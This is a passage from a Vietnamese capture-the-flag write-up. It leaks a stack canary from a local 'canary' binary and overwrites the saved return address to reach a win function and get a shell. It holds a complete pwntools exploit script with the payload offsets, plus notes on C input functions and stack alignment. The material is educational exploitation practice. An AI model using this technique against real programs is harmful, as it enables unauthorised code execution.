- Sau tôi sẽ tiến hành tìm offset đến địa chỉ canary của hàm read() thứ 2 , rồi tôi ghi đè đúng với địa chỉ canary ban đầu rồi cho save rip trỏ vào hàm win để get shell
```python
payload = b'A'*264 + p64(canary)
payload += p64(0) #fake rbp
payload += p64(0x0000000000401453) #thêm ret vì lỗi xmm1
payload += p64(exe.sym['win'])
p.sendafter(b'feedback: ', payload)
```
script hoàn chỉnh:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./canary', checksec = False)
p = process('./canary')
#leak canary
payload = b'A'*(296 + 1)
p.sendafter(b'name: ', payload)
p.recvuntil(b'A'*(296 + 1))
canary = u64(b'\0' + p.recv(7))
log.info("canary leak: " + hex(canary))
#getshell
payload = b'A'*264 + p64(canary)
payload += p64(0)
payload += p64(0x0000000000401453)
payload += p64(exe.sym['win'])
p.sendafter(b'feedback: ', payload)
p.interactive()
```
:::spoiler Lưu ý
- hàm fget() cho phép nhập n-1 byte ở byte cuối sẽ là null
- hàm scanf() cho phép nhập n byte nhưng ở byte n+1 thì sẽ có thêm byte null
- printf có %p sẽ có thể leak địa chỉ stack
- hàm read() sẽ không tự động thêm \n ở cuối chuỗi nhập vào nên nếu in chuỗi ra thì nó sẽ in tới vùng nhớ kế tiếp cho đến khi gặp `\0`
- lỗi `movaps XMMWORD PTR [rsp], xmm1` xảy ra khi địa chỉ stack mà rsp trỏ vào không chia hết cho 16
- hàm puts() : khi đặt một địa chỉ vào rdi thì hàm puts sẽ in ra toàn bộ chuỗi đó đến khi gặp ký tự kết thúc \0
:::